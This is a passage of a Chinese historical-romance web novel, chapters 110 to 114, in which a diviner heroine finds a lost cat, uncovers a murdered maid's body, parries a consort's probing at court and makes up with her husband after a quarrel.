没等她开口,徐诗敏就替她辩解:“快别这样说,咱们京中高门,谁家不是沾亲带故的,怎么就与她有关了?她才嫁过去几日呀。” “嫂嫂维护妹妹,妹妹感激,哪有不明白的;只是……既然今日说到这话了,我也不能瞒着嫂嫂。”虞声笙用帕子微微掩口,似有难言之隐。 “那石府少爷……” 第110章璎珞,姐妹,人手 “实在是难为良配。” 虞声笙一直都寡言少语,即便询问也都点到即止,是很合格的倾听者。 就是这样温吞的性子,偏偏说出了最得罪人的话。 这话一针见血。 有些不明所以的女眷顿时两眼冒光,那些个知晓内情的,不便开口,只能端着茶盏一个劲地灌水。 虞声笙像是没察觉到周遭气氛不对,对着徐诗敏满脸真诚:“既嫂嫂今日提起了,又听诸位太太奶奶们这般说,我也不能装聋作哑,再害了嫂嫂娘家的亲妹妹。那石少爷尚未婚配,房里就有一个很是相好的丫鬟,那丫鬟后来大了肚子,闹得沸沸扬扬,总之……依我拙见,那赵夫人宠溺儿子无度,必不会护着后来进门的儿媳。” “我实在是见不得嫂嫂的妹妹跳这个火坑,婚事于女子而言,可要慎之又慎,你可要把这话记在心上,回头好好与你妹妹说道说道。” 一开始女眷们总有些看笑话的意思。 可听到最后,虞声笙字字句句皆发自肺腑,无比真诚。 又听她说起女子的不易,以己度人,尤其那些膝下有女的太太夫人们,都不由得倒抽一口凉气。 像威武将军夫人这样的人还是多一些比较好。 免得往后自家闺女谈婚论嫁了,那夫家若有见不得光的,他们还被蒙在鼓里,岂非要毁掉女儿半生? 念及此,众人纷纷应和。 徐诗敏面上笑得干巴巴的,只好顺着话说。 虞声笙满脸欣慰:“嫂嫂能听进去就好,我便可放心了。” 徐诗敏:…… 听进去个大头鬼!她真是半点不想与虞声笙待在一块。 匆匆结束了宴饮回府,徐诗敏心情不佳。 外头小厮来报,说慕淮安还有两刻钟便到府门外了。 徐诗敏阴沉沉的神色才放缓了些许。 她忙命人忙活起来,自己也换了一件简便轻快的衣裳,隐隐有她婚前的风格,一样娇嫩明快,透着一股子文人雅致。 待慕淮安进了屋中,她忙不迭上前伺候着更衣。 又见缝插针地与丈夫说起今日出门的种种。 她并未刻意提起虞声笙,而是装作不经意似的。 “说起来还要多谢母亲,与虞府连了这宗亲戚,叫我也多了这样一个好妹妹,今日多亏了声笙提醒,不然真是要害了我娘家小妹了。” 她柔声说着,将换下来的衣裳交给丫鬟,抬手又从茶案上端起一盏来奉于丈夫手边:“且吃一盏,回头开胃舒心,咱们说说笑笑的,也好用饭。” 慕淮安疲惫的眉心舒展开,似乎对妻子这样的周到很是满意:“声笙她……本就是不错的,是从前我……” 话到这儿戛然而止。 徐诗敏忙转身去屏风那头取一件厚实的绒袄来,装作没听见。 心却颤了,手也抖了。 过了一会儿才心平气和地笑着出来,将绒袄披在慕淮安的膝头,她温软道:“天冷了,咱们屋子里还没起地龙,你可别冻坏了才是。” 慕淮安扣住她的手:“辛苦你了,这些时日到底冷落了你。” 徐诗敏一阵情动难抑,顺势坐在丈夫的身侧,靠在他的肩头:“说什么辛苦不辛苦了,咱们是夫妻,你在外头操劳为妻的帮不上什么忙,只能在这些个家宅琐事上体贴一二,这不是应该的么。” 身边暖香在侧,慕淮安闭上了眼,静静享受着这一刻的温馨。 是啊,他不该再去眷恋过去。 那些过去也没什么好流连的…… 他从未正眼瞧过虞声笙,过去没有,现在没有,以后——更不会有! 这一晚,夫妻迎来了久违的甜蜜。 翌日一早,徐诗敏精神抖擞地起身,揽镜而照,见镜中的自己粉面桃腮,颜色格外娇媚,顿觉心情大好。 盈袖领着几个小丫鬟正收拾床铺时,突然发现了一枚璎珞。 “这是咱们奶奶的么?”小丫鬟不明所以,张口就问。 盈袖忙横了一眼过去,小丫鬟立马闭嘴,神色慌乱。 回眸瞅了瞅,见徐诗敏正忙着梳妆,似乎没有听到这头的动静,她赶紧将璎珞藏进自己的袖兜里,装作没有这回事,继续镇定地指挥着小丫鬟们忙活。 今日事情还多得很。 因昨日虞声笙打乱了她的计划,徐诗敏少不得还要跑一趟娘家。 多亏了慕淮安昨日的温柔,安抚了她焦躁不快的心,这会子收拾妥当,又打点齐备后,才有一副好面孔去见娘家诸位。 见姐姐来了又提与石少爷断了议亲的事,徐心敏已经很不耐了。 “我的好姐姐,先前夸的是你,这会子贬的也是你,什么话都叫你一人说了,爹娘还真是拿你当神佛菩萨似的,你说什么都听!” 徐心敏冷哼,“你如今是嫁得如意郞婿了,可须知是人家虞四让给你的,要是人家死活不松口,再求到皇后娘娘跟前,她与姐夫的婚事才是板上钉钉的,到时候姐姐你又怎么说?” 一再被亲妹妹揭短,就算徐诗敏有再好的脾性也忍不住。 “好好,原是我多管闲事乱操心,我还不是为你好?你既铁了心的要嫁,我一个出了门的姐姐又能说什么?” 其实她巴不得徐心敏嫁过去呢。 要不是怕惹人非议,怕人家说她明知道石府是火坑还不拦着亲妹妹,她一准会亲自送徐心敏上花轿。 “言尽于此,往后我也少来,免得惹你的眼!” 徐诗敏腾地一下起身,“待妹妹的婚事定了,姐姐再来添妆也不迟。” 徐心敏哼道:“好走不送。” 见状,无能为力的徐大太太只觉得头疼欲裂,捂着额头不想说话。 此刻,大学士府中。 郭文惜献宝似的,将虞声笙介绍给自己的祖母。 “祖母,这便是我的好姐妹声笙啦,她可厉害了呢,秋猎那会儿她帮着皇上还有贵妃一下子就找到了小皇子,她一定能帮您找到绒球的!” 郭文惜边说边挽着虞声笙的胳膊,又贴在她耳边补了一句,“绒球就是我祖母养的狸奴。” 狸奴,猫。 虞声笙眼眸微挑,哭笑不得。 真没想到,自己学的一手本事,先有寻小皇子,后又来找一只猫。 大学士府的老太太年岁已高,平日不爱凑热闹,就爱侍弄花花草草,顺带养猫。 所居的院子里,足有五六只,个个养得膘肥体壮、油光水滑,甚是可爱。 “绒球都丢了好多天啦。”郭老太太无奈地叹息,“下人们翻遍了整个府里都没找到,指不定跑出去了,哎哟,我可怜的绒球……” “老太太莫急,让我试一试好了,万一能找着呢。” 虞声笙半蹲下来,微微仰视着老太太,“您告诉我绒球的样子,还有平日里它爱玩的玩具也给我一样。” “你当真能找到?”郭老太太惊讶,忙不迭让身边的嬷嬷去拿。 不一会儿,虞声笙便有了方向。 寻狸奴,其实跟寻物是一样的,要比寻人简单很多,也不费什么功夫。 告知下人们,去了一处空置已久的院子,真的在墙角一处不起眼的洞里找到了绒球。 正当大家伙都高兴的时候,一婆子惊呼:“那是什么,是、是人手么?” 第111章死人 方才绒球藏身的洞里,光线照不进去,依稀可见两根圆圆的指头,瞧着已经涨大浮肿,不成样子。 可无论如何,只要有眼睛的,都能瞧出这是人的手指。 虞声笙瞥了一眼,立马断定,这是死人。 并且已经死了一段时日了。 事关他府隐秘,作为外人,虞声笙立马察觉到情况不对,不着痕迹地退到人群之外,垂眸不语,装作什么都没听到。 很快,闻讯赶来的郭府女眷见势不妙,郭大太太忙扯了扯嘴角对虞声笙笑道:“今日不巧,多谢你帮了我家老太太大忙……” “能替老太太解忧,也是我的福气,今儿天色也不早了,我府里还有事情要忙,就不多叨扰,先行告辞。” 见状,郭大太太松了口气。 本就是自家主动邀请人家来做客的。 人虞声笙还帮了忙,怎么都不该自己开口撵人的。 还好,这位诰命在身的年轻夫人很懂得审时度势,不用她多说什么,人家已经很乖觉地告辞。 送走了虞声笙,郭大太太才命上下守口如瓶,只选了签了死契的下人进了那宅院。 黄昏时分,暮色匆匆。 大学士府内宅一片肃穆,安静得可怕。 郭大太太沉着脸,领着两个丫鬟一路往婆母屋子这边来。 进了门,她刚要请安问礼,却被郭老太太叫住:“别紧着这些虚礼了,到底怎么回事,你直接说吧。” 郭大太太屏退左右,走到婆母身边,轻声说:“是彩云那丫头。” “彩云?”郭老太太惊呆了,“这丫头不是早就被撵出府了么,又怎么会死在那院子里?” 郭大太太面露难色,犹豫半天,才期期艾艾地开口。 原来,那藏在围墙另一边的尸体并不完全,只剩下残破的一半。 若不是彩云身上穿着衣衫,以及手腕上的胎记,郭大太太也不会这么快确认对方的身份。 这就是原先在老太太屋子里伺候的大丫鬟,彩云。 听完了媳妇的话,老太太面色阴沉。 家宅中出了这等子事,怎么想都不吉利。 何况彩云早早就因犯了错,被撵出府去,如今她的尸体却突然出现在郭府内宅,怎能不让人心惊胆战,背后寒意四起? 老太太到底是见惯了大世面的,冷冷道:“横竖咱们是不知情的,当日撵她走,也给了银钱的,没叫她空手离开,已是仁至义尽。” “那……眼下咱们该怎么办?” “报官吧。” 老太太扯了扯嘴角,笑得冰冷,“最好不要让我知晓是谁在背后搞鬼!拿一个丫鬟来吓唬咱们,真当咱们府里没人了不成!” 翌日,大学士府报官的消息不胫而走。 虞声笙都听说了。 一时间闹得满城沸沸扬扬,尽是风雨。 作为当时在场的见证人之一,她回想起那一幕,也会觉得不安后怕。 闻昊渊有些担心:“莫不是被魇着了?要不,咱们去佛寺里烧香拜一拜,也好去去晦气。” “也好。” 其实她并非觉得害怕,只是顺着闻昊渊的话说,瞧男人担心自己,竟有种莫名的满足感。 隔了两日,夫妇二人便去了京郊最近的一处寺庙。 这里距离万佛寺很近。 与皇家寺院不同,这里备受百姓欢迎,常年香火不断。 虞声笙与闻昊渊磕头进香,又交了不少香火钱,惹得那方丈眉眼弯弯。 虞声笙去求了一支签。 下下签。 她面不改色,将签又塞了回去,继续摇。 还是下下签。 她挑眉,又塞了回去:“再不给我出好的,我就一把火烧了你。” 自言自语,也不知是在威胁谁。 靠得最近的闻昊渊听得清清楚楚,垂眸轻笑。 这回,终于掉了一支上上签出来。 她心满意足。 从寺庙回来,刚到府门口,却见一个小黄门早就候着,见他们的马车停稳,小黄门上前询问:“敢问可是将军夫人回府了?” “是。” “咱们娘娘说了,还请夫人明日巳时末午时初入宫赴宴,娘娘要宴请夫人,以表上次夫人寻回小皇子之谢意。”小黄门的声音尖尖的。 原来是叶贵妃的人。 闻昊渊瞥了一眼身边的妻子,见她眸色淡然,若有所思,直接开口道:“不知大人是哪一宫的侍奉?” “回将军的话,小的不才,是叶贵妃娘娘宫中的。” “烦劳大人回娘娘,明日可否叫某陪同夫人一道前去?” “这……” 小黄门迟疑片刻,想起自己出宫前主子的叮嘱,忙又道,“如此甚好,若能请来将军夫妇,我家娘娘必定开怀。” 小黄门传完话便走了。 虞声笙回了安园才笑问:“怎么想到要跟我一起去?我一个人能行的。” 不就是入宫赴宴么。 哪怕是鸿门宴也不要紧,她有把握能全身而退。 “我瞧你不太愿意的样子,就想着陪你一起。” 叶贵妃是皇帝身边的宠妃,身份尊贵,又有小皇子傍身,轻易得罪不了;闻昊渊这才主动解围,想着自己陪妻子一道,才是两全之法。 “并没有不愿意,只是有些觉着麻烦。”她弯起眉眼,笑得如轻快的月牙,“不过,眼下有你陪我便什么都好,你明儿不忙么?” “不忙,事情都料理得差不多了,总该留些麻烦交给后来的人。” 闻昊渊口中这个后来的人,说的就是慕淮安。 只可惜虞声笙没问,他也懒得提及。 入宫赴宴,规矩可要比想象中多得多。 进了宫门后,要接受检查,还要被嬷嬷教一些宫中赴宴的礼仪。 嬷嬷说了,贵妃娘娘宫里规矩大,还请将军夫人认真学。 虞声笙觉得多半是叶贵妃从这一茬就开始刁难她。 不过学习更多本事让自己壮大,已经是虞声笙自小的习惯,哪怕嬷嬷的标准再严格,她错了头两次后,渐渐越来越顺手,也越来越好。 最后嬷嬷也挑不出错,只好木着脸让虞声笙离开。 叶贵妃的宫殿,名为长合宫。 是后宫里数一数二富丽堂皇的宫殿,距离陛下所居的寝殿也很近,足以彰显叶贵妃的受宠程度。 夫妻二人请安见礼,叶贵妃便面含微笑地让二人落座。 和和气气地才说了几句话,外头便有宫人来传话,说是陛下听说闻将军入宫,特宣他去御书房回话。 叶贵妃微微蹙眉:“真是不巧了,陛下传召……闻将军还是先过去一趟吧。” 闻昊渊看向身边的妻子。 还未开口,虞声笙便笑道:“无妨,我与贵妃娘娘一道说说笑笑,等你办完了陛下的差事再一道回去便是。” “好。”闻昊渊点点头,“你自己小心。” 等他走远了,叶贵妃才笑道:“闻将军瞧着沙场征战的粗人,却不想对妻室这般温柔体贴,果真人不可貌相。” 虞声笙浅浅谢过,也不辩不争。 如此几番回合下来,叶贵妃有些隐隐沉不住气了。 “虞夫人,你可知为何本宫今日要见你?难道真的只是为请你吃顿饭么?”她眸光锐利,渐渐冰冷凝固。 “娘娘的心思臣妇不敢妄自揣测。”虞声笙回答得滴水不漏,“若娘娘明示,臣妇自然感激不尽;倘若娘娘不愿说,臣妇只当是今日承蒙娘娘恩德,能进宫来长长见识,也是好事一桩。” 第112章成婚真的很麻烦啊 抬眼时,虞声笙笑得一片坦荡明媚。 说来也怪,成婚前越发素净的容貌,此刻却越显得大气清丽,隐隐有种迎面而来的破锋之威。 叶贵妃只在帝后身上见过这种威压,一时间竟被压得忘了自己要说什么。 还是身边的嬷嬷上前添茶,她才恍然大悟,借着吃茶的功夫又把话题转了回来:“你能这样想也是难得,外命妇中少有如将军夫人这样的明白人,上回在行宫时,本宫没机会好好感谢你,今日你可别跟本宫客气。” “娘娘抬爱,臣妇感激不尽。” “只是眼下小皇子不在本宫身边,本宫难免孤寂思念。”叶贵妃叹道。 “贵妃娘娘有陛下的宠爱,娘娘的长合宫又这般富贵奢华,娘娘的孤寂自有排解,怕是臣妇羡慕都羡慕不来的。” 又是几次三番的试探与兜圈子,虞声笙依旧不着痕迹地绕了过去。 叶贵妃总算明白,眼前这个年轻妇人更像是滑不丢手的泥鳅,根本抓不住对方的破绽。 忍了又忍,她笑道:“之前见识过夫人的卜算之能,当真叹为观止,敢问今日夫人可否再替本宫算上一卦?” “娘娘想算什么?” “自然是算今生往后,算一算本宫所得宠爱是否能长久。” 虞声笙答应了,但要在酒足饭饱之后,还要洗漱焚香,方能更显诚心。 叶贵妃心道:之前找小皇子也没见你这般啰嗦。 心里是这么想的,但面上却无一不应。 一顿宴饮结束,周遭的宫婢们依次上前,或捧着茶盏或拿着水盂帕子等物,虞声笙依次用过,心中腹诽:果然宫中规矩大,光是一顿饭前前后后伺候的就不下十数人…… 待寝殿内只有她们二人时,虞声笙才解下腕骨上的红线铜钱,当着叶贵妃的面开始起卦。 这一次用的,不是生辰八字,而是拆字和相面。 这也是她擅长之法。 不过须臾,她便给了一句:“娘娘福泽深厚,来日必定会添一麟儿。” “本宫已经有小十四了。”叶贵妃淡淡道。 “可是娘娘……孩子还是自己的最好,是不是这个理?”虞声笙轻轻歪着脸,嫣然一笑。 却笑得叶贵妃冷汗都出来了。 试探了这么久,答案居然在不经意间捅了出来。 那涂着鲜艳丹蔻的指尖忍不住扣紧了小几的一角,叶贵妃美艳的脸上尽是强撑着的镇定:“将军夫人在说什么,本宫一句都没听懂。” “懂不懂的,其实都在娘娘的一念之间。”虞声笙轻叹,“臣妇从前过得坎坷,嫁了个夫君,他也只忠于陛下,孤臣虽勇,可日子却没那么好过;秋猎一行,叫臣妇与娘娘结缘,本就是善缘;就像当年娘娘慈心照拂,才有了那小生命的一息尚存;或许,老天爷都看在眼里呢。” 叶贵妃茫然了。 回想起过往种种,明明不想承认这女人说的话,到了这一刻也不得不共鸣叹服。 她松开掌心:“这可是欺君之罪,是要砍头的,你就这样大咧咧地说出来,不怕本宫以绝后患,叫你出不了长合宫的大门么?” “臣妇相信贵妃娘娘。” 虞声笙拱手垂眸,只有这一句话的回应。 叶贵妃反而不知说什么才好了。 乱糟糟的情绪如一团剪不断理还乱的麻绳。 直到让虞声笙离去,她才从榻上起身,走到掐丝珐琅的青炉前注视着那袅袅而起的烟尘,若有所思。 “娘娘,可否要派人去拿了这威武将军府的夫人?”身边董嬷嬷察觉到自家主子的迟疑,忙请示。 良久,叶贵妃摇摇头:“罢了,如今之势,多一事不如少一事……有句话说得对,要是这新晋的三品淑人奶奶真要跟本宫对着干,她不必等到今日。” 叶贵妃拿起一方金匣,命人开了炉鼎,往里面添了一勺香饵。 顿时,香雾弥漫,清甜薄香。 她满意地闭了闭眼睛:“陛下不是说了,今晚会来陪本宫用晚膳,先去备着吧。” 只要有皇帝的宠爱,区区一个外命妇,又能拿她堂堂贵妃如何? 宫外,虞声笙与丈夫汇合。 “没事吧?”闻昊渊上上下下观察着妻子。 “自然没事,能有什么事?难不成贵妃娘娘还会在饭菜里下毒?”她嬉笑两句,“走吧,咱们赶紧回去,外头累得紧,哪里能比得上咱们自家舒坦爽快。” 闻昊渊还想多问几句,都被妻子三言两语给岔开了。 夫妻二人刚回府,宫里的赏赐也到了。 都是叶贵妃赏的,负责传赏的太监还尖着嗓子把贵妃娘娘夸奖虞声笙的话又说了一遍,听得虞声笙自己都有点怀疑——静娴如玉,蕙质兰心,这是说的她?怎么那么不像呢…… 先是得了皇后的青眼,后又在陛下跟前立功,如今更是成了叶贵妃跟前的红人,这一下子让虞声笙在京中女眷里的地位猛涨。 随之而来的,便是各种名目的宴饮,直看得虞声笙两眼发花,目不暇接。 自家府邸还没打点好,她哪有功夫日日出门赴宴? 况且,只要赴宴哪有空手去的道理。 是以去过几次后,虞声笙就觉得划不来了。 库房里的东西一样样地少,自己也就是去吃顿不痛不痒的饭,这笔买卖怎么算都是自己吃亏。 再看看手边摞起一堆的请柬,将军夫人就觉得索然无味。 她还没来得及料理这些,另一桩更要紧的事情就令她头大。 ——闻昊渊好像生气了。 但这个素日里直来直去的莽汉居然学会了生闷气,一直不吭声,还是如往日一般与她一同起居。 要不是今早上多了一碟子盐烧醉鹅,要不是虞声笙来了句:“这个有点咸,不如长合宫里的滋味好”,她还不知道这男人居然闷了好几日了。 她话音刚落,闻昊渊就补上:“长合宫里的好,回头把你打包再送去。” 虞声笙:??? 见他抬脚就要走,她一把扯住男人的胳膊:“等下,你给我把话说清楚,这样不阴不阳的什么意思?” 她才不是一个人赌气的性子。 真要有什么,大可以摊开来说。 闻昊渊没回头,可耳根已经染红一片。 一改方才一时气愤的莽撞,他惜字如金:“是我说错了,你别放在心上。” 认错倒是很快,态度良好,值得她心平气和地与他聊下去。 “你这几日总是板着一张脸,可是心中怨我了?我哪里做得不好你说出来就是,没的摔摔打打又阴阳怪气的,我可不受你这份窝囊气。”虞声笙硬要他转过身面对自己。 但她的力道哪里能与闻昊渊相比。 努力了半天,只听撕拉一声,男人竟扯掉了半副袖口,落荒而逃。 虞声笙木木地看了一眼手里的布,哭笑不得。 金猫儿从外头进来,上了清甜爽口的梅子茶:“夫人,将军这是怎么了?奴婢方才见他走得匆忙,可是有什么事?” “呵……我哪知道。” 虞声笙轻叹,“成婚真的很麻烦啊,金猫儿,往后你要是不想嫁人就在夫人我身边伺候一辈子吧,我绝不会亏待了你。” 金猫儿羞得满脸通红:“夫人浑说什么呢!” 第113章感情没到位 虞声笙正儿八经:“我认真的,这世道,只要兜里有钱,一个人的日子也好过得紧。” 金猫儿羞得越发说不出话来,跺跺脚:“夫人真是越发淘气了,自己都成婚了,却拿咱们这些个做奴婢的玩笑!” 她扭头走了。 萱妈妈刚巧与她擦肩而过,见金猫儿满脸涨红,又听到了些许,驾轻就熟地走到虞声笙身边继续伺候着:“夫人就算操心她们的终身,也该多为了自个儿想想,夫人如今刚嫁进来没多久,府中虽人口简单,但庶务不少,身边还是要有可信可用之人。” 萱妈妈的意思虞声笙明白。 “妈妈安心,我不过是让金猫儿晚点嫁人,就算不嫁人她家夫人也养得起她。”虞声笙温言浅笑。 “夫人又与老奴说笑了。” 萱妈妈憨厚弯唇,并未将自家主子这话放在心上。 其实虞声笙是真心的。 这世道,女子不易。 嫁人,也是第二次投胎。 若嫁得不好,后半辈子都在水深火热中;若嫁得好,也是以夫家为重为先,半点自在全无。 回想起自己原先在庄子上自由散漫的日子,虞声笙竟有些怀念。 话题扯远了,她又眨眨眼睛回神——还是先把闻昊渊这头的问题解决吧。 首先,男人为什么生闷气? 虞声笙上午办完了府里的庶务,又歇了个午觉,才坐在临湖窗边眺望沉思。 思来想去,她总算有个猜测。 她忙叫来小厮,让他去给闻昊渊传话:“告诉将军,要没什么要紧事儿,忙完了就早点回来,我有话跟他说。” 原想着小厮一去一返还要费些功夫,虞声笙便从枕头下面摸出本杂书来看,上面写着西厢记几个大字。 正看得入神,看到精彩之处时,却听耳边多了个声音:“归家若到罗帏里,昨宵个绣衾香暖留春住……你在看什么书?” 虞声笙吓得魂飞魄散,忙不迭地把书藏起来。 一抬眼,瞅见闻昊渊那张冷酷的脸,她干巴巴地笑着:“没、没什么,就是随便看看。” 闻昊渊满脸不相信:“拿来给我也瞧瞧。” “真没什么,你相信我。” “既没什么,那我也要看。” 虞声笙:…… 拗不过这男人,她只好清了清嗓子,将书送到了他手里。 闻昊渊翻了几页,很认真道:“挺好看,下回看时叫上我。” 虞声笙:…… 她以袖掩口,垂眸乖巧道:“你怎么回来得这样快?” “你不是说有话要跟我说么?” 男人大刀阔斧地坐在她身旁,一本西厢记就随手搁在洋花红漆的小几上,他的手若无其事地搁在上面,几乎压过了整本书。 身如山岳,沉甸甸地朝她压来。 明明还没怎么靠近,这股气势就能让人情不自禁地头皮发麻。 “你……还在生我的气?” “没有。” 下一刻,她挑眉眯眼,冷笑道:“你要是再撒谎,当心以后我也处处不与你说实话,到时候咱们夫妻离心,你就是罪魁祸首。” “你……” 闻昊渊哑然。 眼前的女子柔声道,“叫你回来就是想跟你好好说清楚的,你若还是这样推三阻四地不肯实话实说,那往后咱们也不必说了。” “你要实话实说,那为何先前你入宫的事情要瞒我?” 闻昊渊竟有些委屈了,“那叶贵妃分明是不安好心,你卜算小皇子下落一事,是不是还另有隐情?为何不告诉我?” “我只是想多一事不如少一事。” “我是你的夫君,夫妻一体,夫妻同心,你不明白么?”闻昊渊皱眉。 “咱们成婚也没多久啊,感情没到那份上……” 虞声笙脱口而出,说完就意识到大事不妙。 果然,男人满脸阴沉。 那眸色透着深不见底的愠怒与委屈,好像一口就能将她生吞了似的。 虞声笙冷汗直冒,头皮发麻,赶紧扯了扯嘴角赔笑,“我也不是这个意思,你听我跟你解释……” 闻昊渊只觉得肺都快被这女人气炸了。 是她先来招惹的。 是她先说非他不嫁,他们是命中注定的夫妻。 结果成婚数月,这女人居然来句感情还没到那份上…… 他盯着她细嫩的小脖子,恨不得掐断才解气,这一念乍起,很快又消弭——算了算了,他可舍不得。 见他不说话,虞声笙越发讨好,好话说了一箩筐,几乎要堆起来了。 她腹诽:哎哟,男人怎么这么难哄!! 就在她快要绷不住的时候,闻昊渊狠狠将她一把捞起按在软榻上,略带胡茬的脸就贴在她的细嫩之处,来不及一声惊呼,就叫对方尽数吞下,只能发出不甘心地呜咽。 好一会儿,他才放过了她。 虞声笙唇上的口脂都花了一半。 “感情还没到那份上?行,咱们日日夜夜都要培养感情。” 闻昊渊带着几分狠厉,扣住她的下颌又猛地在她的唇瓣上啄了一下,“我先去外书房,晚点与你一同用饭,别想跑。” 虞声笙:…… 这哪里是哄,分明就是拱火。 关键是,她都不知道哪一步做错了…… 不就是没有尽数告知么?这种事,知道的人越少越好呀,她是在保护他。 这人真是,不识好歹! 她也就只敢在肚子里骂骂,不敢舞到男人跟前去。 对比一下自己和对方的差距,她骂骂咧咧进了小厨房,把闻昊渊喜欢的菜色全都换成了她喜欢的。 一连数日,虞声笙晚上都睡不好。 终于被折腾得受不了了,她抵着男人宽阔的胸膛,带着哭腔:“你个夯货!我告诉你还不成么?给我停下!!” 她已经连续两个早晨起不来床了。 早饭都比平时晚了半个时辰才用。 黎阳夫人看她时,眉眼间都是了然于心的笑意。 越是这样不显山露水,越是能让她羞愤不已。 可闻昊渊正得着滋味,拿了个枕头给她垫着,胡乱安抚:“好好,等完事了你慢慢说。” 虞声笙翻了个白眼。 床前的烛火燃尽一半,云收雨歇。 男人餍足地搂着:“你说吧,我听着。” 她翻了个身:“滚,滚远点。” 他喉咙里发出闷声的笑,却根本不滚,反而将她整个后背都纳入胸膛,抱得更紧了。 一身粘腻,又推不开,虞声笙只能耷拉着发沉的眼皮,心中将闻昊渊骂了个狗血淋头,最终沉沉睡去。 夫妻间的交心环节定在了翌日午后。 虞声笙半含闷气地说清楚了前因后果,说完后还冷冷嗤笑:“这下你也知道了,你也是一条船上的人了,亏我还想保全你呢,谁知你却上赶着来。” “不管你说不说,不管我知不知晓,只要你我是夫妻本就是一条船上的人,难不成有朝一日你出事了,我还能置身事外不成?” 她被堵得哑口无言,平生头一次觉得不知所措。 他抬手捏了捏她的发髻,笑得满脸畅快:“有你夫君我在,不用怕。” 虞声笙耳根发烫,撇开眼:“谁怕了。” 大学士府丫鬟之死的案子在郭大人的不断督促下,总算有了进展。 疑凶浮出水面,又牵扯出了另一桩内宅情事的丑闻。 第114章窥探 那彩云本是郭老太太房里的一等大丫鬟。 她并非家生子,而是后来采买入府。 模样好,心灵手巧,又体贴入微,凭着自己的本事博得了郭老太太的欢心,曾一度成为老太太房中的第一人。 凭他什么婆子管事见了彩云,都要恭恭敬敬称一声姑娘,俨然半个主子。 就是这样风光,她却犯了一件不该有的错处。 她竟与外院的一管事有了私情,还送了荷包璎珞等物。 郭老太太目下无尘,最是见不得这样的事儿,东窗事发后,她便做主撵彩云出府。 到底是跟在身边尽心伺候了数年的丫鬟了,郭老太太也不忍心做得太过,许她带走这些年积攒的金银细软,还让账房给她结算了当月的月例,算得上仁至义尽。 彩云哭哭啼啼地不愿走,只说自己是被冤枉的。 可那荷包是她的手笔,老太太原先亲眼瞧见她绣的,如何能假? 偏彩云也说不出个证据,只晓得哭。 老太太心烦又心疼,更生怕自己心软,直接让人将她从偏门撵了出去。 谁也没想到,彩云并未另谋出路,再见面时她已成为一具冰冷的尸体,甚至连尸身都不完全。 再细查之下,所有人都惊呆了,那与年轻管事有私情的,并非彩云,而是郭大人的一房妾室。 这妾室姓钱,府里称作钱姨娘。 生得倒也有几分姿色,一把好嗓子能把曲子唱得绕梁三日,堪称一绝。 钱姨娘本仗着年轻貌美,入了大学士府就想着能早日生下一子。 可惜,她是郭大人同僚相赠,本就不被郭大人喜欢。 倒也宠幸了一段时日,很快就被冷落下来。 钱姨娘心有不甘,可上头大太太在内宅里根深叶茂,她如何能敌? 只能日日揽镜而叹,可怜自己的种种不平。 再后来,谁也没想到她居然会跟外院的一年轻管事勾搭在一起,一个是貌美无宠的姨娘,一个是能干体壮的管事。 越是隐秘不发,越是勾得人心痒难耐。 彩云偶然间一次撞破,叫二人惊慌不已。 其实彩云那日只瞧见了管事抖抖索索穿裤子的样子,并未看清楚与他相好的女子是谁。 彩云羞得满脸涨红,退到廊下啐了一声骂道:“青天白日的,你就这般孟浪,仔细叫老爷太太知晓了扒了你的皮!!” 她骂完就走了。 哪晓得心虚之人根本经不住这种内心的折磨。 钱姨娘便一不做二不休,趁着去给老太太请安的功夫,瞧见了彩云放在针线篮子里还未完工的荷包璎珞等物,一股脑顺走了。 接下来便是补上几针,再添作彩头让人送给另一个管事。 阴差阳错下,既解决了彩云这个目击者,又将与自己争权夺势的另一个麻烦也给解决。 彩云留不下,那另一个管事也是倒霉的份。 至于彩云之死,官差在钱姨娘的屋子里搜出了毒药。 与彩云体内的毒素是同一源头,这便是物证了。 这桩案子带了些许桃色暧昧的色彩,外头议论纷纷,郭大人的脸上很不好看,这绿油油的帽子谁戴谁笑不出来;于是称病告假,在府中一歇就是好几日。 见府中气氛压抑低迷,郭文惜也加紧尾巴做人,不敢在父母跟前跳脱,生怕被迁怒。 可无人之时,她到底憋不住,拉着白夫人嘀咕:“嫂子,我总觉得奇怪,要是那钱姨娘做的,为何不把尸体丢得远一些,何必又藏回咱们府里呢?这不是……迟早瞒不住的么?” 白夫人忙做了个噤声的手势,正色道:“你清清白白一个女儿家,少说这些个腌臜污糟之事,免得脏了你的口舌,也污了我的耳朵。” 她拉着小姑子,语重心长,“在府里可不许再提了,母亲为这事儿愁得头大,父亲更是气母亲约束内宅不力,你这会子再多嘴多舌的,回头被罚了可别怪嫂子护不住你。” 郭文惜吐吐舌尖,只好安静下来。 很快,白夫人就明白了一个道理。 有时候并非你躲着,事情就不会来找你,该你的始终是你的,逃不掉。 刚劝导好了小姑子,白夫人就被郭大太太叫去了房中。 丫鬟们都屏退至廊外,屋子里头只有郭大太太以及身边的心腹嬷嬷。 郭大太太面容憔悴,强打精神:“叫你来也没旁的事,喏,这是备好的礼物,拜帖已经送去威武将军府了,明儿一早你就去拜访。” 白夫人瞬间明白,暗暗叫苦。 可婆母的吩咐,她又不能拒绝,只能福了福应下。 话说回虞声笙那头,明日她的忙得紧,光是登门拜访的贵妇就有两位,一是白夫人,另一位则是许久没有见面的徐大太太。 忙完了庶务,她先见的是徐大太太。 徐大太太来访为的就是自家闺女的婚事,是专程来打听石府少爷的。 谁让她家小女儿被宠坏了,自己坚定的事情谁来说都不听。 这两日,他们夫妇稍微严词了些,徐心敏竟哭哭啼啼地要去寻短见,可把两口子吓坏了,一晚上都没睡好。 徐大太太思来想去,自己不方便直接登石府的门,又与黎阳夫人没多少交情,唯有和虞声笙这个晚辈曾有数面之缘,便硬着头皮拜访。 虞声笙得知她的来意,随手起卦,笑道:“缘分自有天注定,大太太又何必太心急,令千金与石府少爷注定要有一段短暂的婚缘,还请大太太静观其变。” 徐大太太一肚子的草稿都没派上用场。 被这话堵得脸色发青,嘴唇颤抖。 末了,她浅浅呷了口茶,起身拂袖而去。 多少有些不礼貌了,但虞声笙决定不跟她计较。 起身晃悠了一会儿,又迎来了第二位客人——白夫人。 比起徐大太太,白夫人就显得有些青涩稚嫩,虽是内宅的一房正头奶奶,但遇到这种难以启齿的事情,还是叫她有些手足无措。 好在虞声笙也是早有准备。 她算准了今日自己有两笔意外之财。 既受人钱财,就该与人消灾。 